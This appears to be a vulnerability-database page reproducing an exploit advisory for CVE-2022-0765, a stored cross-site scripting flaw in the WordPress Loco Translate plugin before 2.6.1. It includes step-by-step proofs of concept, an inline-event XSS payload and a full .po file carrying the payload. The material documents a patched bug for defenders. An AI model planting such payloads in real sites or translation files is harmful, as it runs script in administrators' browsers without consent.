Lucene search
K

WordPress Loco Translate Plugin < 2.6.1 - Authenticated Stored Cross-Site Scripting Vulnerability

🗓️ 07 Apr 2022 00:00:00Reported by Taurus OmarType 
zdt
 zdt
🔗 0day.today👁 295 Views

WordPress Loco Translate Plugin < 2.6.1 - Authenticated Stored Cross-Site Scripting Vulnerability. Allows arbitrary javascript payloads in source strings leading to stored XSS

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-0765
18 Apr 202218:15
attackerkb
Circl
CVE-2022-0765
18 Apr 202222:23
circl
CNNVD
WordPress和WordPress plugin 跨站脚本漏洞
7 Apr 202200:00
cnnvd
CNVD
WordPress Loco Translate plugin跨站脚本漏洞
11 Apr 202200:00
cnvd
CVE
CVE-2022-0765
18 Apr 202217:10
cve
Cvelist
CVE-2022-0765 Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting
18 Apr 202217:10
cvelist
EUVD
EUVD-2022-15824
3 Oct 202520:07
euvd
Nuclei
WordPress Loco Translate < 2.6.1 - Cross-Site Scripting
8 Jun 202604:09
nuclei
NVD
CVE-2022-0765
18 Apr 202218:15
nvd
OSV
CVE-2022-0765
18 Apr 202218:15
osv
Rows per page
Tittle:
WordPress Plugin Loco Translate < 2.6.1 - Authenticated Stored Cross-Site Scripting

References:
CVE-2022-0765

Author:
Taurus Omar 

Description:
The plugin does not properly remove inline events from elements in the source translation strings before outputting them in the editor in the plugin admin panel, allowing any user with access to the plugin (Translator and Administrator by default) to add arbitrary javascript payloads to the source strings leading to a stored cross-site scripting (XSS) vulnerability.

Affects Plugins:
loco-translate - Fixed in version 2.6.1

Proof of Concept:
## POC1: via (edit-template) 

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options
3.) Enter Edit Template Any Plugin
4.) Add New Message 
5.) Edit Message
6.) Replace The Message With The Payload : ">'><details/open/ontoggle=alert('xss')>
7.) Save
8.) Replicated


## POC2 via (example.po)

1.) Got to Plugin Loco Translate
2.) Enter Plugins Options Any Plugin
3.) Upload PO options
3.) Load example.po

Example.po

msgid ""
msgstr ""
"Project-Id-Version: xss-tester\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2022-02-25 03:48+0000\n"
"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <[email protected]>\n"
"Language-Team: \n"
"Language: \n"
"Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Loco https://localise.biz/\n"
"X-Loco-Version: 2.5.8; wp-5.9.1\n"
"X-Domain: xss-tester"
msgid "xss-tester"
msgstr ""
msgid "\">'><details/open/ontoggle=confirm('XSS')>"
msgstr "" 

Classification:
Type XSS 
OWASP top 10 A7: Cross-Site Scripting (XSS)
CWE-79

wpScan:
https://wpscan.com/vulnerability/58838f51-323d-41e0-8c85-8e113dc2c587

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Apr 2022 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 23.5
CVSS 3.15.4
EPSS0.02742
295